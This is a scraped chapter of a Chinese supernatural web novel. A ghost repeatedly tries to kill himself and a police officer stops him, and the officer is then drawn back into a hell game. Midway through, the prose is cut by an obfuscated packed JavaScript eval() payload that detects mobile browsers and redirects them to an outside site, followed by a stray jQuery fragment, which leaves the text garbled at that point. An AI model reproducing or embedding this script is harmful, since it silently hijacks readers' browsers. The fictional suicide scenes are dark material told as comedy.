文趣网 > 都市小说 > (无限)地狱禁止谈恋爱 > 16.流放(四)
    大夜弥天面无表情:“你叫什么。”

    “你很吓人啊!你什么时候醒的!话说你怎么过来的,你走路没声音吗!”

    大夜弥天说:“我死了多久了,我是个鬼,好吗。”

    他淡淡的,像个人机。江慢凡越看越来气,刚想反驳,大夜弥天却先一步转移话题:“你救我干什么?”

    江慢凡:“啊?救人还需要理由?”

    大夜弥天默了阵。他扶着额角,叹了口气,看起来很头疼。

    “我是警察,救人很应该。”江慢凡义正词严,“鬼也算。”

    大夜弥天气笑了。

    “你就不该救我。”

    大夜弥天转身就走了。一个闪现,直接到了客厅的窗户面前。

    ?

    他干啥?

    江慢凡说:“喂,你……”

    大夜弥天打开窗户,纵身翻了下去!

    “我去!?”

    砰!一声闷响。

    江慢凡连滚带爬地冲过去:“哥儿!!”

    江慢凡家在八楼。

    大夜弥天已经摔在地面上,扁了,身下是一滩血泊。不知怎么,四周的人依然平静地来来往往,像没人看见他。

    江慢凡着急忙慌地就要下去看看,忽然,大夜弥天一动。

    他摇摇晃晃地从地上站了起来。

    ?

    江慢凡眼睛都瞪圆了。

    大夜弥天缓缓地站直,仰头望天,像个石像一样僵了一阵,貌似很绝望。

    两分钟后,他转身走回楼里。

    没一会儿,大夜弥天从家门口直接穿墙进来了,像个阿飘似的。

    江慢凡:“……你,你还好吗?”

    大夜弥天没理他,走进卫生间,拉开他的柜子,掏出一把绳子。

    他走出来,在江慢凡家里四处看了一圈,就气冲冲地梗着脖子走进卧室,袖子都甩得很用力。

    大夜弥天把绳子在床头上系了个死结,另一头套到了自己脖子上。

    “?大哥!!”

    江慢凡冲上去抢绳子,“你神经病啊,找死干什么!你都是个鬼了你还找死干什么!?”

    大夜弥天咬着牙:“松手!”

    “不松!你松开你的脖子!”

    “你——松手!我要是活着你就完了,你懂什么!松手!”

    “我这不是好好的吗!?”

    俩人一阵撕扯,大夜弥天誓死不松开这圈绳子,两手死死抓着。江慢凡气得快晕了,他深吸一大口气,掷地有声地骂了句“你个狗日的”,就直接上嘴咬住绳子。

    刺啦!

    江慢凡把绳子给咬断了。

    他两手一用力,又把它撕碎了。

    大夜弥天摔倒在地。

    江慢凡也一个踉跄,摔到旁边的墙上。

    俩人面对面喘着粗气。

    大夜弥天望着他,忽然扯扯嘴角,噗嗤一下,沙哑地笑了出来。

    他笑得前仰后合,两手挥着袖子,砸了几下自己的膝盖,笑得直喘不上气。

    他像疯了。

    江慢凡不敢吭声。他低头看看手上的一截断绳,没来由的一阵心虚,默默地把它藏到了身后。

    “我操你全家!”大夜弥天大吼。

    江慢凡一哆嗦。

    大夜弥天踉踉跄跄地从地上站起来,指着天上,“阎王爷!我特么操你全家!!”

    江慢凡两眼一瞪。

    “关了我两万年,我说过你半个不是吗!?你让我干什么我都认了,让我去那个鸟不拉屎的地方当守墓人我都没意见吧!现在搞什么,你不搞我,要搞沈怜山!?”

    “两万年哪!我两万年搭进去是为了什么,你比我清楚!!”

    “怎么总有人想害沈怜山,你们有毛病吗!!”

    天上突然乌云密布。

    轰隆!一道惊雷直接砸下来了。

    “阎王小儿,你个狗——”

    江慢凡冲上来按住他的脑袋,扯着他跪下,摁住他的脑袋往地上砸,朝着窗户外疯狂磕头。

    “对不起!对不起!他不是故意的,他没那个意思!对不起阎王爷,您英明神武万古流芳名垂青史,刚正不阿相当威严护佑众生,您千万别跟他这个神经病计较!!”

    “对不起阎王爷,对不起阎王爷!”

    “对不起!!!”

    大夜弥天:“……”

    几个大响头磕下去,天上的乌云逐渐散开。

    江慢凡松了口气,惊魂未定地回过神,松开手。

    大夜弥天慢慢地从地上爬了起来。

    他的头发被江慢凡抓乱了,像个鸟窝。

    江慢凡一阵无名火起:“你是不是有毛病,怎么能骂阎王爷!?”

    大夜弥天没做声,只回头,轻轻地看了他一眼。

    江慢凡本来还想骂,被这样一看,忽然又不说话了。

    他抿抿嘴,小声问:“你……被关了两万年?”

    空气短暂地安静了一阵。

    “都是些疯话。”

    大夜弥天说,“我脑子不正常,你别当真。”

    他说这话时,安静地跪坐在那里,几缕阳光照在他身上,有些透明,像照着一缕白烟。

    江慢凡忽然就说不出什么来了,喉咙里像堵了块石头。

    他问:“是……发生过什么吗?”

    大夜弥天没说话,隔了半晌,轻轻地叹气。

    “我会害你。”大夜弥天说,“我活着一天,就害你一天。”

    江慢凡说:“你哪儿害我了?你不是帮我了吗?”

    “……会害你的。”

    “不信,你看起来没那想法。”

    大夜弥天张张嘴,刚想说什么,一阵铃声响了。江慢凡把手机从口袋里拿出来,接了:“喂?”

    大夜弥天闭上了嘴。

    “哦,行。”

    江慢凡应了几句,挂了电话,看着他,“我得出门了。”

    大夜弥天点点头。

    江慢凡没动。

    俩人面对面静坐了两分钟。

    大夜弥天转头看他:“不是说要出门?”

    “我怕你又跳楼。要不我请个假?”

    “……你去吧。”大夜弥天说,“死不了了。”

    “真的?”

    “这是诚心不让我下去,有什么办法。脖子也捅了,楼也跳过了,死活就是不能断气,你还看不出来?”大夜弥天说,“阎王爷不让我去,我这是又被流放了。”

    “……”

    江慢凡想深入问问,但大夜弥天身上传出一阵“问了也不告诉你”的沉重气息。他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658060|206716||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    坐在那里又呆了会,始终说不出什么来,便起身把所有房间的门窗都锁好,只给大夜弥天留了个客厅,转身出门了。

    关门时,他又往大夜弥天那儿看了眼。这人揉着脚踝,在地上慢吞吞地转过身,靠着沙发坐好了。

    江慢凡关上门。

    到了警局,一个眼熟的刑警已经等在门口。

    “你去看看吧,江队。”刑警很无奈,“那教授骂了一整个晚上了,还在骂。”

    江慢凡:“这么有精神?”

    “何止呢,刚才朝我们要冰美式。”

    “干啥,还要在审问室里过精致生活?”

    “哦那倒不是,他说他困了,要杯咖啡提提神,继续骂你。”

    江慢凡:“……”

    6。

    江慢凡走到审问室门口,还没进去,就听见李海在里头气血十足地骂他。

    江慢凡佩服了番对方的肺活量,推门进去了。

    李海正在和负责记笔录的两个民警唾沫横飞地交流。

    “你们说他是不是不讲义气?你们知不知道,是我把他背出来的!”

    刑警很无语,刚要说什么,转头瞧见江慢凡,立刻站起来:“江队。”

    江慢凡挥挥手,让他坐下。

    他笑着问李海:“好精神啊,聊怎么样了?”

    李海白了他一眼,侧过半个身去,拒绝跟他对视。

    江慢凡慢悠悠地走过来,脚步悠闲得像散步。

    他说:“你俩出去吧,我单独跟他聊聊。”

    两个民警出去了,还带上了门。

    江慢凡坐在审问的位置上,瞟了眼电脑上的笔录记录——好家伙,没说别的,全是李海在痛斥江慢凡进地狱的事儿。

    江慢凡把记录仪和桌子底下的传声器都给关了,淡淡说:“还真敢说,你也不怕被人送精神病院去。”

    李海冷哼一声,还是不说话。

    “哥们,你不记得广播说了什么?”江慢凡道,“反省自己才能离开,你能不能反省一下?我把机会都给你做好了。”

    “狗屁,你这是钓鱼执法。”李海说,“你这是违法!”

    “哎,话不要说得那么难听。我怎么就钓鱼了,我只是请你来喝杯茶聊聊天。”江慢凡慢条斯理,“你有什么就说什么呗,趁早赶在下次进去之前。”

    “游戏不止一轮,对不对?”

    李海冷笑:“关你什么事。我是老玩家了,过了不知道多少关!我下次也能活着出来,大不了就把十八层地狱都轮一遍!”

    “是吗?”江慢凡说,“这回要是没有大夜弥天突然善心大发,你猜咱俩现在在哪个乱葬岗当舍友?”

    李海:“……”

    “所以你——”

    哐啷。

    “?”

    突然有个怪声从头顶响起。

    江慢凡仰起头,天花板上的老风扇歪下来了一大截。

    ……卧槽。

    轰!

    老电扇整个全砸了下来。

    扇叶旋转着砸在脑袋上。江慢凡两眼一黑,几秒的剧痛后,意识消失。

    再睁开眼,他站在一条阴沉的柏油路上,李海在他两米开外站着。

    落叶遍地,秋高气爽,天上没太阳,风呼呼地吹。俩人互相望着,两脸懵逼。